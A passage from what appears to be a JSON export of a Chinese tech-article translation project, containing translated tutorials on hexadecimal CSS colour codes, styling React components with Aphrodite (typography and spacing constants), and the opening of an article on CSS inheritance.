请和我一起继续\n\n让我们在这里喘口气，因为这个计数方案是整个事情的关键，是理解十六进制表示颜色的关键。但请不要让它更难理解；我不是在开玩笑，十六进制，**真的**、**真的**、**真的**和十进制工作原理一样。这些概念是完全相同的；在到达下一位数之前十六进制只不过是多了几个可用的数字。\n\n在你继续之前，一定要理解这个概念。以下是一些十六进制转换为十进制的例子。\n\n- 1F = 一个十六和十五个一 = 十进制的 16 + 15 = 31 \n- 2B = 两个十六和十一个一 = 十进制的 32 + 11 = 43 \n- 41 = 四个十六和一个一 = 十进制的 64 + 1 = 65 \n- AA = 十个十六和十个一 = 十进制的 160 + 10 = 170 \n- F0 = 十五个十六和零个一 = 十进制的 240 + 0 = 240\n\n看，一旦你掌握了窍门就很容易了。这只是数学。只不过是使用字母来表示数字。\n\n因此，三个两位数的十六进制数字，从 00（0）到 FF（255），将在 CSS 颜色属性值中表示红色、蓝色和绿色的程度。\n\n### 直观性\n\n现在我们明白如何将基色混合和如何指定的每一个颜色的程度，应该明确的是，我们可以在整整六个十六进制数字产生任何颜色代码，从 `#000000` 到 `#FFFFFF`，前面两位表示红色，中间两位表示绿色，最后两位表示蓝色 - 始终是 RGB 这个顺序。\n\n> 我们可以用六个十六进制数字编码多少种颜色？嗯，这 `FFFFFF` 是十进制的 16777216 ，所以正确答案是“一堆”。\n\n当我们指定 CSS 进制颜色代码之前，我们以“#”，称为**英镑符号**或**井号**。CSS 就是这样知道下面是一个十六进制的颜色代码。另外，字母大小写不要紧，CSS 中 `#a94cb3` 和 `#a94cb3` 是相同的。\n\n了解这些之后，一些颜色代码你就应该知道怎样表达了，像黑色、白色和三基色。\n\n![十六进制的黑色、白色和三基色](https://cdn-images-1.medium.com/max/1600/1*TZK3FiDgZlRFqeJNNK8Z6g.png)\n\n这很简单，对吧？这是光的物理原理：在这些颜色代码中，每个 RGB 分量要么是“零”（00），要么是“全部”（FF）。所以，例如，`#000000` 表示黑色。看这些零；没有红色，没有绿色，没有蓝色 - 没有光源 - 没有光不就是黑色吗？（如果你说“暗的”，你被解雇了。）同样，`#FF0000` 代表红色。该代码指定完全红色，没有绿色，也没有蓝色。只有红色的光。只代表红色。没有其他的可能，必须是红色，正红。\n\n不管你信不信，我们接着往下看，因为一旦你掌握了这个想法，其他颜色也开始变得直观了。现在你应该将十六进制代码看做的颜色，因为他们**就是**颜色。\n\n考虑三基色，洋红（全红色，没有绿色，没有蓝色）青色（没有红色，全绿色，全蓝色），黄色（可直观的全红色，全绿色，没有蓝色）。创建这些颜色的十六进制代码现在应该是显而易见的。\n\n![十六进制颜色值](https://cdn-images-1.medium.com/max/1600/1*2ttPfJOfPNuAr5ch49wqjw.png)\n\n好的，到目前为止，我们仍然只使用“没有”或“全部”值。但回想十六进制的 80（“数字八和数字零”）是 00 和 FF 的中间，所以我们现在应该能够使用这个值，方便地构建一些半光的颜色代码 —— 即代码创建深色调的初级和中级的颜色。嗯，我想知道那些会是什么样子的？可能像这样。\n\n![十六进制初级和中级半色调](https://cdn-images-1.medium.com/max/1600/1*vWe3elGJZAK4EImaBPGEmA.png)\n\n我们在这里做的，通过改变三个分量的值，仅仅是改变了光的数量，我们把代码放入每种颜色的代码中，从没有（00） 到一半（80） 到全部（FF），这个事实使我们有点顿悟。好吧，一个巨大的巨大的巨大的巨大的顿悟。实际上两个。\n\n**更高的数字 = 更多的光线 = 接近白色 = 明亮的颜色。**\n\n**较低的数字 = 较少的光线 = 接近黑色 = 较暗的颜色。**\n\n这些真的很重要，请再读一遍。\n\n### 小测验\n\n让我们来做一些使用代码表示颜色的小测试，来吧，这将是很有趣的！用纯文字回答这些问题（不是十六进制代码），然后向下轮动一点来显示答案。\n\n**问题 1.** 如果 `#FF00FF` 是亮红色并且 `#800080` 是暗红色，那么 `#B000B0` 是什么呢？\n\n**问题 2.** 如果 `#00FFFF` 是亮青色并且 `#008080` 是暗青色（也被称为绿色），那么 `#004040` 是什么呢？ \n\n**问题 3.** 如果 `#000000` 是黑色并且 `#ffffff` 是白色的，那么 `#010101` 到 `#323232` 代表什么颜色的范围呢？\n\n…向下滚动\n\n…\n\n…接着向下\n\n…\n\n…继续\n\n…\n\n…再向下滚动一点\n\n…\n\n…马上就到了\n\n…\n\n**答案 1：** `#B000B0` 是中等亮度的 亮红和暗红色之间的地方，因为 B0 小于 FF 但超过 80。\n\n**答案 2：** `#004040` 比暗青色暗的颜色，因为 40 小于 FF 和 80。\n\n**答案 3：** `#010101` 到 `#323232` 是**五十种深浅不同的灰色**，因为十六进制的 32 等于十进制的 50：3 * 16 + 2 * 1 = 50。\n\n事实上，最后一个的问题使我们顿悟了一个更多并且细微，虽然不是特别伟大但又是非常重要的道理：\n\n**当所有三个色值相同时，不管值是多少，颜色都是灰色的**\n\n确实是这样的，`#232323`、`#a9a9a9`、`#4b4b4b`、`#2f2f2f`、`#959595`、`#dadada` 和所有其他具有相同的 RGB 值的组合都是灰色 —— 有些更暗一些，一些更亮一些。而且，因为十六进制的 80 是 00 和 FF 的中间值，这意味着 `#808080` 是所有灰色的中间色。是的，“灰色”包括黑色 `#000000` 和白色 `#ffffff`；这意味着，真的有 256 种的灰色。\n\n### 实际的例子\n让我们来靠近一些实际的 CSS 颜色编码的示例。基于你对十六进制和颜色的新知识，你应该能够理解为什么这些十六进制的颜色值可以表示他们想要表达的颜色。看看这些 CSS 规则中的代码并且想一下这三对十六进制的数字表示什么颜色，你应该立刻能够回答上来。\n\n例 1：在这里，文本的前景色设置为深蓝色并且背景色设置为偏浅一点的中灰色。\n\n![例 1](https://cdn-images-1.medium.com/max/1600/1*mDaO6vXwz14YzMl3YCKfcQ.png)\n\n例 2：在这里，任何带有类名为“warning”的元素将设置为黄色背景红色文字（注意，根据上述规则，背景仍为灰色，假设这些都在同一个页面中。\n\n![例 2](https://cdn-images-1.medium.com/max/1600/1*PoLdJEGTrqmVIGUxxNtmpw.png)\n\n例 3：在这里，正常的链接显示为蓝绿色的文本，而在悬浮样式设置为白色文字蓝绿色背景。（仍然在灰色页面背景下。）\n\n![例 3](https://cdn-images-1.medium.com/max/1600/1*o8TIPpnBOqvqgbOLTKBQHQ.png)\n\nExample 4: And finally, this blockquote displays in various levels of brown: a light brown (pastel yellow) background, a medium brown border, and dark brown text. (All on the same gray page background.)\n例 4：最后，这个块的背景为浅棕色（淡黄色），一个棕色的边框，和深褐色的文本。（都在相同的灰色页面背景下。）\n\n![例 4](https://cdn-images-1.medium.com/max/1600/1*lPMcAGAbSXru_aq4HXJ9iA.png)\n\n### 简写\n\n我要说的是你可以将十六进制的六位 CSS 颜色值简写是为三位，但是请不要这样，这对平面设设计师不利。\n\n首先，缩写通常会导致意外的颜色。只有当一个颜色值的两个十六进制数字相同，如 FF，88，或 22 时，缩写才是准确的。例如，`#fff` 和 `#ffffff` 相同，`#d09` 和 `#dd0099 ` 是一样的。但是如果原始颜色的十六进制数字就不相同，那么缩写的代码只会“看起来像”原始颜色，也就是说和原始颜色很接近，但是又不完全相同。例如：`#080` 和 `#008800` 一样，但是肯定和 `#008000` 是**不**一样的，`#a4d` 和 `#aa44dd` 是相同的，和 `#a040d0` 是**不同的**。\n\n其次，即使是正确使用缩写，它也很少被一致地使用，在全局搜索中就可能出问题或者是无用的。如果你的 CSS 代码中使用 `#4be` 而其他人使用 `#44bbee`，稍后找到你需要你改变这个颜色，这就会产生匹配的问题。即使是简单的代码 `#000` 和 `#000000` 也不荣易进行匹配和替换。\n\n第三，颜色值的缩写仅仅能减少**三个字节**，这弊大于利。\n\n### 总结\n\n让我们来总结一下。这里要明确一点的是，十六进制并不难，和十进制不同的只是多了几个数字。你要记住你要处理的数据是的十进制表示是 0-255，但是写成十六进制的两位数表示就是 00-FF。一旦你接受了十六进制的基数是 16，你将会发现它与是基数为 10 的十进制原理是一样的。十六进制的颜色代码将表现的更为直观。 \n\n![有些人明白了，但有些人还是不明白](https://cdn-images-1.medium.com/max/1600/1*dBgajGgo1neP6GZlHOG09g.jpeg)\n\n记住，它总是三对十六进制数字，总是以红-绿-蓝的顺序排列，更高的数字总是意味着更加明亮的颜色（反之亦然）。\n\n现在花一点时间将你的手臂在你身后，拍拍自己的背，放松一下。你现在知道一些你的 98% 的同伴都不了解的知识！\n\n### 参考文献\n\n#### 色彩部分\n\n- [http://www.w3schools.com/cssref/css_colors.asp](http://www.w3schools.com/cssref/css_colors.asp)\n- [https://en.wikipedia.org/wiki/Web_colors](https://en.wikipedia.org/wiki/Web_colors)\n- [https://developer.mozilla.org/en-US/docs/Web/CSS/color](https://developer.mozilla.org/en-US/docs/Web/CSS/color)\n- 还有很多，都是通过谷歌搜索“CSS colors”得到\n\n#### 十六进制部分\n\n- [https://learn.sparkfun.com/tutorials/hexadecimal](https://learn.sparkfun.com/tutorials/hexadecimal)\n- [http://www.codeproject.com/Articles/4069/Learning-Binary-and-Hexadecimal](http://www.codeproject.com/Articles/4069/Learning-Binary-and-Hexadecimal)\n- 同样的，还有很多\n\n### 工具\n\n#### 集成工具\n\n集成工具通常允许您选择一个颜色并查看其代码，或者输入代码来显示颜色，例如谷歌浏览器的开发者工具有一个集成的颜色选择器，Mac 的 Sublime Text 也有一个颜色选择器的插件\n\n#### 其他\n\n- [http://www.colorpicker.com/](http://www.colorpicker.com/) (online)\n- [http://www.iconico.com/colorpic/](http://www.iconico.com/colorpic/) (desktop)\n- [http://www.eyecon.ro/colorpicker/](http://www.eyecon.ro/colorpicker/) (jQuery)\n- [http://colorcop.net/](http://colorcop.net/) (desktop, an oldie but goodie)\n\n### 感谢!\n\n谢谢你阅读这篇文章，我希望你在这一过程中获得了乐趣并学到了一些东西！评论或问题？可以在 [dave@davegash.com](mailto:dave@davegash.com) 中联系作者，Dave Gash。\n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  \n"
  },
  {
    "path": "TODO/css-in-javascript-the-future-of-component-based-styling.md",
    "content": "> * 原文地址：[CSS in JavaScript: The future of component-based styling](https://medium.freecodecamp.com/css-in-javascript-the-future-of-component-based-styling-70b161a79a32)\n> * 原文作者：本文已获原作者 [Jonathan Z. White](https://medium.freecodecamp.com/@JonathanZWhite) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[bambooom](https://github.com/bambooom)\n> * 校对者：[Aladdin-ADD](https://github.com/Aladdin-ADD)、[reid3290](https://github.com/reid3290)\n\n# JavaScript 中的 CSS：基于组件的样式的未来\n\n![](https://cdn-images-1.medium.com/max/1000/1*yVKDbwtvfoakj3RZ9g8ARQ.png)\n\n图片所属 [@jonathanzwhite](https://twitter.com/JonathanZWhite)\n\n使用行内样式使我们可以获得 JavaScript 的所有编程支持。这让我们获得类似 CSS 预处理器（变量、混入和函数）的好处，它也解决了 CSS 的很多问题，如全局命名空间和样式冲突。\n\n如果想要更深入了解 JavaScript 中的 CSS 所解决的问题，可以查看著名的演示幻灯：[React：JS 中的 CSS](https://speakerdeck.com/vjeux/react-css-in-js)。有关使用 Aphrodite 性能优化的案例研究，你可以阅读 [行内 CSS 在可汗学院：Aphrodite](http://engineering.khanacademy.org/posts/aphrodite-inline-css.htm)。如果想要学习更多有关 JavaScript 中的 CSS 的最佳实践，可以阅读 [Airbnb 的风格指南](https://github.com/airbnb/javascript/tree/master/css-in-javascript)。\n\n此外，我们将使用行内 JavaScript 样式来构建组件，以解决我之前的一篇文章（[掌握设计之前，必须掌握基本原理](https://medium.freecodecamp.com/before-you-can-master-design-you-must-first-master-the-fundamentals-1981a2af1fda)）中涉及的一些基础设计问题。\n\n### 一个启发性的例子 ###\n\n让我们从一个简单的例子开始：构建一个按钮并给它添加样式。\n\n一般来说，组件及其样式在同一个文件中：`Button` 和 `ButtonStyles`。这是因为他们都属于视图层。但是，下面的例子中，我将代码拆分成多个代码片段，以便更容易理解。\n\n下面就是按钮组件：\n\n```javascript\n...\n\nfunction Button(props) {\n  return (\n    <input\n      type=\"button\"\n      className={css(styles.button)}\n      value={props.text}\n    />\n  );\n}\n```\n\n它没什么特别的，只是一个无状态的 React 组件。Aphrodite 起作用的地方是在 `className` 属性中。`css` 函数接受一个 `styles` 对象为参数并将其转换为 `css`。`styles` 对象是由 Aphrodite 的函数 `StyleSheet.create({ ... })` 创建的，你可以用 [Aphrodite playground](https://output.jsbin.com/qoseye?) 来查看这个函数的输出结果。\n\n**下面是按钮的样式表：**\n\n```javascript\n...\n\nconst gradient = 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)';\n\nconst styles = StyleSheet.create({\n  button: {\n    background: gradient,\n    borderRadius: '3px',\n    border: 0,\n    color: 'white',\n    height: '48px',\n    textTransform: 'uppercase',\n    padding: '0 25px',\n    boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .30)',\n  },\n});\n```\n\nAphrodite 的优势之一是迁移很直观，学习曲线较平缓。类似 `border-radius` 变成 `borderRadius`，值变成字符串，伪类选择器、媒体查询、字体定义都可以正常工作。另外也可以自动添加浏览器引擎前缀。\n\n**下面就是按钮的样子：**\n\n![](https://cdn-images-1.medium.com/max/800/1*x1ccRv9UGvcxBvz4TvC4Qg.png)\n\n以这个例子为基础，**让我们来看看如何使用 Aphrodite 来构建一个基本的视觉设计系统**，着重关注排版和间距两个设计基础元素。\n\n### 设计基础第一部分：排版 ###\n\n我们先从排版开始，这是设计基础要素。**第一步是定义排版常数**。与 Sass 及 Less 不一样，Aphrodite 的常数可以直接放在 JavaScript 中或 JSON 文件中。\n\n#### 定义排版常数\n\n在定义常量时，**使用语义化的变量名**。例如，在给字体大小命名时，不要使用 `h2`，使用 `displayLarge` 描述它的作用。类似的，不要给字体粗细命名 `600`，使用 `semibold` 描述它的效果。\n\n```javascript\nexport const fontSize = {\n  // heading\n  displayLarge: '32px',\n  displayMedium: '26px',\n  displaySmall: '20px',\n  heading: '18px',\n  subheading: '16px',\n\n  // body\n  body: '17px',\n  caption: '15px',\n};\n\nexport const fontWeight = {\n  bold: 700,\n  semibold: 600,\n  normal: 400,\n  light: 200,\n};\n\nexport const tagMapping = {\n  h1: 'displayLarge',\n  h2: 'displayMedium',\n  h3: 'displaySmall',\n  h4: 'heading',\n  h5: 'subheading',\n};\n\nexport const lineHeight = {\n  // heading\n  displayLarge: '48px',\n  displayMedium: '48px',\n  displaySmall: '24px',\n  heading: '24px',\n  subheading: '24px',\n\n  // body\n  body: '24px',\n  caption: '24px',\n};\n```\n\n设置正确的字体大小和行高变量的值是很重要的。这是因为他们直接影响了设计的垂直韵律。垂直韵律是一个能帮助你实现一致的元素间距的概念。\n\n想要了解更多有关垂直韵律的内容，你可以阅读这篇文章：[为什么垂直韵律对排版实践很重要？](https://zellwk.com/blog/why-vertical-rhythms/)\n\n![](https://cdn-images-1.medium.com/max/800/1*Ehj9XMvQ9wJNhxWNqwXfKw.png)\n\n[上图：行高计算器](https://drewish.com/tools/vertical-rhythm/)\n\n选择行高以及字体大小的背后是有科学原理的。我们可以使用比率生成一组可能的值。几周前，我写了一篇文章，详细地介绍了方法细节（[排版可以成就设计，也可以毁了设计](https://medium.freecodecamp.com/typography-can-make-your-design-or-break-it-7be710aadcfe)）。你可以使用 [Modular Scale](http://www.modularscale.com/) 确定字体大小，使用 [vertical rhythm calculator](https://drewish.com/tools/vertical-rhythm/) 计算行高。\n\n#### 定义标题组件 ####\n\n定义好了排版常量后，下一步就是使用它们创建一个组件。**这个组件的目标是对整个代码库中的标题实现一致的设计**。\n\n```javascript\nimport React, { PropTypes } from 'react';\nimport { StyleSheet, css } from 'aphrodite/no-important';\nimport { tagMapping, fontSize, fontWeight, lineHeight } from '../styles/base/typography';\n\nfunction Heading(props) {\n  const { children, tag: Tag } = props;\n  return <Tag className={css(styles[tagMapping[Tag]])}>{children}</Tag>;\n}\n\nexport default Heading;\n\nexport const styles = StyleSheet.create({\n  displayLarge: {\n    fontSize: fontSize.displayLarge,\n    fontWeight: fontWeight.bold,\n    lineHeight: lineHeight.displayLarge,\n  },\n  displayMedium: {\n    fontSize: fontSize.displayMedium,\n    fontWeight: fontWeight.normal,\n    lineHeight: lineHeight.displayLarge,\n  },\n  displaySmall: {\n    fontSize: fontSize.displaySmall,\n    fontWeight: fontWeight.bold,\n    lineHeight: lineHeight.displaySmall,\n  },\n  heading: {\n    fontSize: fontSize.heading,\n    fontWeight: fontWeight.bold,\n    lineHeight: lineHeight.heading,\n  },\n  subheading: {\n    fontSize: fontSize.subheading,\n    fontWeight: fontWeight.bold,\n    lineHeight: lineHeight.subheading,\n  },\n }); \n```\n\n`Heading` 组件是一个无状态的函数，接收一个标签作为属性，并返回这个标签连带它的样式。我们在前面的常量中定义了标签映射，所以这是可行的。\n\n```javascript\n...\nexport const tagMapping = {\n  h1: 'displayLarge',\n  h2: 'displayMedium',\n  h3: 'displaySmall',\n  h4: 'heading',\n  h5: 'subheading',\n};\n```\n\n在组件文件的下方我们定义了 `styles` 对象，我们就是在此处使用排版常量的。\n\n```javascript\nexport const styles = StyleSheet.create({\n  displayLarge: {\n    fontSize: fontSize.displayLarge,\n    fontWeight: fontWeight.bold,\n    lineHeight: lineHeight.displayLarge,\n  },\n  \n  ...\n});\n```\n\n`Heading` 组件是这样调用的：\n\n```javascript\nfunction Parent() {\n  return (\n    <Heading tag=\"h2\">Hello World</Heading>\n  );\n}\n```\n\n通过这种方法，**我们可以减少类型的意外变化**。通过取消全局样式以及标准化标题，我们避免了上百种字体大小的问题。此外，这种方法还可以应用于构建 `Text` 组件。\n\n### 设计基础第二部分：间距 ###\n\n**间距同时控制着设计中的垂直与水平韵律**。所以间距对建立视觉设计系统至关重要。和排版部分一样，第一步也是设定间距常量。\n\n#### 定义间距常量 ###\n\n当为元素之间的 margin 定义间距常量时，我们可以采取一种数学方法。使用一个 `spacingFactor` 常量来生成一组距离。**这种方法确保元素之间的间距是有逻辑并且一致的**。\n\n```javascript\nconst spacingFactor = 8;\nexport const spacing = {\n  space0: `${spacingFactor / 2}px`,  // 4\n  space1: `${spacingFactor}px`,      // 8\n  space2: `${spacingFactor * 2}px`,  // 16\n  space3: `${spacingFactor * 3}px`,  // 24\n  space4: `${spacingFactor * 4}px`,  // 32\n  space5: `${spacingFactor * 5}px`,  // 40\n  space6: `${spacingFactor * 6}px`,  // 48\n\n  space8: `${spacingFactor * 8}px`,  // 64\n  space9: `${spacingFactor * 9}px`,  // 72\n  space13: `${spacingFactor * 13}px`, // 104\n};\n```\n\n上面的例子采用了线性关系，从 1 到 13。不管怎样，多试验几种不同的尺度和比例的搭配才能找到合适的方案。目的、受众、目标设备的不同都需要在设计时考虑。**下面是使用黄金比率计算出来的前 6 个距离**，以 `spacingFactor` 等于 8 为例。\n\n    Golden Ratio (1:1.618)\n\n    8.0 x (1.618 ^ 0) = 8.000\n    8.0 x (1.618 ^ 1) = 12.94\n    8.0 x (1.618 ^ 2) = 20.94\n    8.0 x (1.618 ^ 3) = 33.89\n    8.0 x (1.618 ^ 4) = 54.82\n    8.0 x (1.618 ^ 5) = 88.71\n\n下面是在代码中如何写间距比例。我添加了一个帮助处理间距计算结果的函数，它会返回其最近的像素值。\n\n```javascript\nconst spacingFactor = 8;\nexport const spacing = {\n  space0: `${computeGoldenRatio(spacingFactor, 0)}px`,  // 8\n  space1: `${computeGoldenRatio(spacingFactor, 1)}px`,  // 13\n  space2: `${computeGoldenRatio(spacingFactor, 2)}px`,  // 21\n  space3: `${computeGoldenRatio(spacingFactor, 3)}px`,  // 34\n  space4: `${computeGoldenRatio(spacingFactor, 4)}px`,  // 55\n  space5: `${computeGoldenRatio(spacingFactor, 5)}px`,  // 89\n};\n\nfunction computeGoldenRatio(spacingFactor, exp) {\n  return Math.round(spacingFactor * Math.pow(1.618, exp));\n}\n```\n\n定义好间距常量后，我们就可以用它们给元素添加间距。**一种方法就是在组件中 import**。\n\n例如，下面我们给 `Button` 组件添加 `marginBottom`。\n\n```javascript\nimport { spacing } from '../styles/base/spacing';\n\n...\n\nconst styles = StyleSheet.create({\n  button: {\n    marginBottom: spacing.space4, // 使用间距常量来添加 margin\n    ...\n  },\n});\n```\n\n多数情况下这都是有效的。但是如果我们想要根据按钮的位置来修改它的 `marginBottom` 属性呢？\n\n实现可变边距的一种方法是覆盖从父组件继承的样式。另一种方法是**创建一个 `Spacing` 组件来控制元素的垂直边距**。\n\n```javascript\nimport React, { PropTypes } from 'react';\nimport { spacing } from '../../base/spacing';\n\nfunction getSpacingSize(size) {\n  return `space${size}`;\n}\n\nfunction Spacing(props) {\n  return (\n    <div style={{ marginBottom: spacing[getSpacingSize(props.size)] }}>\n      {props.children}\n    </div>\n  );\n}\n\nexport default Spacing;\n```\n\n这种方法可以将设置边距的任务从子组件转移到父组件上。**这样，子组件就对布局无感知了，它不需要知道将被放置在何处及与其他元素的关联**。\n\n由于按钮、输入框、卡片等组件可能需要可变的间距，所以这种方法是有效的。例如，表单中的按钮可能比导航栏的按钮需要更大的边距。需要注意的是，如果一个组件始终具有一致的边距，那么在组件内部处理边距更好。\n\n你可能注意到前面的例子中只使用了 `marginBottom` ，这是因为**在一个方向定义所有的垂直边距可以避免边距合并，并能跟踪垂直韵律**。你可以从 Harry Robert 的文章 [单向边距声明](https://csswizardry.com/2012/06/single-direction-margin-declarations/) 中了解更多这方面知识。\n\n最后，你还可以使用间距常量来定义 padding。\n\n```javascript\nimport React, { PropTypes } from 'react';\nimport { StyleSheet, css } from 'aphrodite/no-important';\nimport { spacing } from '../../styles/base/spacing';\n\nfunction Card(props) {\n  return (\n    <div className={css(styles.card)}>\n      {props.children}\n    </div>\n  );\n}\n\nexport default Card;\n\nexport const styles = StyleSheet.create({\n  card: {\n    padding: spacing.space4}, // using spacing constants as padding\n    \n    background: 'rgba(255, 255, 255, 1.0)',\n    boxShadow: '0 3px 17px 2px rgba(0, 0, 0, .05)',\n    borderRadius: '3px',\n  },\n});\n```\n\n对 margin 和 padding 使用相同的间距常量，可以在设计中实现更好的视觉一致性。\n\n结果大致如下：\n\n![](https://cdn-images-1.medium.com/max/800/1*oDkbVmgCJ4ss5fuRNvzoUg.png)\n\n现在你已经大致了解 JavaScript 中的 CSS 了，去试验一下吧。尝试在下个项目中采用行内 JavaScript 样式吧。我想**你会喜欢上能够在同一个上下文中处理所有样式及视图问题的感觉**。\n\n有关 CSS 和 JavaScript 的主题中，你对什么新的发展感兴趣呢？我个人对 async/await 非常感兴趣。给我留言或者在  [Twitter](https://twitter.com/jonathanzwhite) 上发信息给我吧。\n\n你可以在 Medium 上找到我，我每周都会发布一篇文章。你也可以在 [Twitter](https://twitter.com/jonathanzwhite) 上关注我，我会在那里发布一些有关设计、前端开发和虚拟现实的随笔。\n\n**如果你喜欢这篇文章，欢迎给我点赞 ❤ 并分享给朋友，非常感谢！**\n\n[![](https://cdn-images-1.medium.com/max/600/1*mxQhZLqG7l5dMLvxYAklgw.png)](http://mrwhite.space/signup)\n\n[![](https://cdn-images-1.medium.com/max/600/1*UOsjAdUZ9O0QSyfXOpQPbA.png)](https://twitter.com/JonathanZWhite)\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/css-inheritance-cascade-global-scope-new-old-worst-best-friends.md",
    "content": "> * 原文地址：[CSS Inheritance, The Cascade And Global Scope: Your New Old Worst Best Friends](https://www.smashingmagazine.com/2016/11/css-inheritance-cascade-global-scope-new-old-worst-best-friends)\n* 原文作者：[Heydon Pickering](https://www.smashingmagazine.com/author/heydon-pickering)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[linpu.li](https://llp0574.github.io/)\n* 校对者：[xekri](https://github.com/xekri)、[Tina92](https://github.com/Tina92)\n\n# CSS 继承深度解析\n\n**我酷爱[模块化设计](https://www.smashingmagazine.com/2016/06/designing-modular-ui-systems-via-style-guide-driven-development/)。长期以来我都热衷于将网站分离成组件，而不是页面，并且动态地将那些组件合并到界面上。这种做法灵活，高效并且易维护。**\n\n但是我不想我的设计**看上去**是由一些不相关的东西组成的。我是在创造一个界面，而不是一张超现实主义的照片。\n\n很幸运的是，已经有一项叫做 CSS 的技术，就是特意设计用来解决这个问题的。使用 CSS，我就可以在 HTML 组件之间到处传递样式，**从而以最小的代价来保证一致性的设计**。这很大程度上要感谢两个 CSS 特性：\n\n- 继承，\n- 层叠 (CSS 当中的 C，cascade)。\n\n尽管这些特性让我们能够以一种 [DRY](https://en.wikipedia.org/wiki/Don't_repeat_yourself) 且有效率的方式来给 Web 文档添加样式，同时也是 CSS 存在的原因，但很明显，它们已经不再受到青睐。在一些 CSS 方法论里，如 BEM 和 Atomic CSS 这些通过程序化封装 CSS 模块的方法，许多都尽力去规避或者抑制这些特性。这也让开发者有了更多机会去控制他们的 CSS，但这仅仅是一种基于频繁干预的专项控制。\n\n我准备带着对模块化界面设计的尊敬在此重新审视继承、层叠和作用域。我想要的告诉你的是如何利用这些特性让你的 CSS 代码更简洁，实现更好的自适应，并且提高页面的可扩展性。\n\n### 继承和 `font-family`\n\n尽管许多人在抱怨 CSS 为什么不单单提供一个全局作用域，但如果它这么做的话，那么就会有很多重复样式了。反之，CSS 有全局作用域和局部作用域。就像在 JavaScript 里，局部作用域有权限访问父级和全局作用域，而在 CSS 里，局部作用域则帮助了**继承**。\n\n例如，如果给根部（也作：全局）的 `html` 元素定义一个 `font-family` 属性，那么可以确定这条规则会在文档里应用到所有祖先元素（有一些例外情况，将在下个部分讨论）。\n\n```\nhtml {\n    font-family: sans-serif;\n}\n\n/*\nThis rule is not needed ↷\np {\n    font-family: sans-serif;\n}\n*/\n```\n\n就像在 JavaScript 里那样，如果我在局部作用域里定义了某些规则，那么它们在全局，或者说在任意祖先级的作用域中都是无效的，只有在它们自己的子作用域里是有效的（就像在上面代码中的 `p` 元素里）。在下个例子当中，`1.5` 的 `line-height` 并没有被 `html` 元素用上。但是，`p` 里的 `a` 元素则运用上了 `line-height` 的值。\n\n```\n    html {\n      font-family: sans-serif;\n    }\n\n    p {\n      line-height: 1.5;\n    }\n\n    /*\n    This rule is not needed ↷\n    p a {\n      line-height: 1.5;\n    }\n    */\n```\n\n继承最大的好处就是你可以用很少量的代码为一致性的可视化设计建立一个基础。而且这些样式甚至将作用到你还没写的 HTML 上。我们在讨论不会过时的代码！\n\n#### 替代方法\n\n当然有另外一种方式提供公用样式。比如，我可以创建一个 `.sans-serif` 类...\n\n```\n    .sans-serif {\n      font-family: sans-serif;\n    }\n```\n\n...并将它应用到任意我想要它有这个样式的元素上去：\n\n```\n    <p class=\"sans-serif\">Lorem ipsum.</p>\n```\n\n这种方法提供了一些控制上的权利：我可以准确地挑选决定哪些元素应用这个样式，哪些元素不用。\n\n任何能够控制的机会都是很吸引人的，但有一些明显的问题。我不仅需要手动地给需要应用样式的元素添加类名（这也意味着我要首先确定这个样式类是什么效果），而且在这种情况下也已经有效地放弃了支持动态内容的可能性：不管是富文本编辑器还是 Markdown 解析器都没办法给任意的 p 元素提供 `sans-serif` 类。\n\n`class=\"sans-serif\"` 和 `style=\"font-family: sans-serif\"` 的用法差不多 - 除了前者意味着要同时在样式表**和** HTML 当中添加代码。使用继承，我们就可以在其中一个少写点，而另外一个则不用再写了。相比给每个字体样式写一个类，我们可以只在一个声明里，给 `html` 元素添加想要的规则。\n\n```\n    html {\n      font-size: 125%;\n      font-family: sans-serif;\n      line-height: 1.5;\n      color: #222;\n    }\n```\n\n### `inherit` 关键字\n\n某些类型的属性是不会默认继承的，而某些元素则不会继承某些属性。但是在某些情况下，可以使用 `[property name]: inherit` 来强制继承。\n\n举个例子，`input` 元素在之前的例子中不会继承任何字体的属性，`textarea` 也一样不会继承。为了确保所有元素都可以从全局作用域中继承这些属性，可以使用通配选择符和 `inherit` 关键字。这样，就可以最大程度地使用继承了。\n\n```\n    * {\n      font-family: inherit;\n      line-height: inherit;\n      color: inherit;\n    }\n\n    html {\n      font-size: 125%;\n      font-family: sans-serif;\n      line-height: 1.5;\n      color: #222;\n    }\n```\n\n注意到我忽略了 `font-size`。我不想直接继承 `font-size` 的原因是，它会将 heading 元素（译者注：如 `h1`）、`small` 元素以及其他一些元素的默认 user-agent 样式给覆盖掉。这么做我就可以节省一行代码，并且让 user-agent 决定想要什么样式。\n\n另外一个我不想继承的属性是 `font-style`：我不想重设 `em` 的斜体，然后再次添加上它。这将成为无谓的工作并会产生多余的代码。\n\n现在，所有不管是可以继承或者是**强制**继承的字体样式都是我所期望的。我们已经花了很长时间只用两个声明区块来传递一个一致性的理念和作用域。从现在开始，除开一些例外情况，没有人会在构造组件的时候还需要去考虑 `font-family`、`line-height` 或者 `color` 